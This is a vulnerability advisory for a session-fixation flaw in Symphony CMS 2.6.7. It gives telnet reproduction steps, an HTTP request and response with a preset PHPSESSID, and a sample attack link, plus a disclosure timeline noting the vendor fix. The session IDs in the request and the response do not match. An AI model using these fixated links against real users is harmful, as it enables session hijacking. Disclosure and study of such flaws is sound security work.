Symphony CMS 2.6.7 - Session Fixation







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Symphony CMS v2.6.7


Symphony is a XSLT-powered open source content management system.

Vulnerability Type:
Session Fixation

CVE Reference:

Vulnerability Details:

Symphony CMS is prone to "Session Fixation" allowing attackers to preset a
users PHPSESSID "Session Identifier".
If the application is deployed using an insecure setup with PHP.INI
"session.use_only_cookies" not enabled, attackers can then send
victims a link to the vulnerable application with the "PHPSESSID" already
initialized as Symphony does not use or call
"session_regenerate_id()" upon successful user authentication.

Note: as per
"session.use_only_cookies=1" is default since PHP 4.3.0.



As Symphonys Session ID is not regenerated it can result in arbitrary
Session ID being 'Fixated' to a user, if that user authenticates using
this attacker supplied session fixated link, the attacker can now access
the affected application from a different Computer/Browser
and have the same level of access to that of the victim. Default Cookie
lifetime for Symphony CMS is up to two weeks.

Reproduction steps:

Edit PHP.INI and change following settings to 'session.use_only_cookies=0'
if applicable, as POC test.

1) Telnet localhost 80

2) make HTTP request with a prefixed PHPSESSID

GET /symphony-2.6.7/symphony/?PHPSESSID=PWN3D666 HTTP/1.1
Host: localhost
Connection: close

3) Hit enter twice

HTTP/1.1 200 OK
Date: Mon, 16 May 2016 02:06:47 GMT
Server: Apache/2.4.12 (Win32) OpenSSL/1.0.1l PHP/5.6.8
X-Powered-By: PHP/5.6.8
Set-Cookie: PHPSESSID=PWNED666; expires=Mon, 30-May-2016 02:06:48 GMT;
Max-Age=1209600; path=/symphony-2.6.7; httponly
Content-Length: 1501
Connection: close
Content-Type: text/html; charset=UTF-8

Exploit code(s):


2) http://localhost/symphony-2.6.7/symphony/?PHPSESSID=APPARITION

Disclosure Timeline:
Vendor Notification: May 3, 2016
Vendor Release Fix: May 23, 2016
June 20, 2016 : Public Disclosure.

Exploitation Method:

Severity Level:
6.8 (Medium)

Request Method(s):       [+] GET / POST

Vulnerable Product:      [+] Symphony CMS 2.6.7

Vulnerable Parameter(s): [+] 'PHPSESSID'

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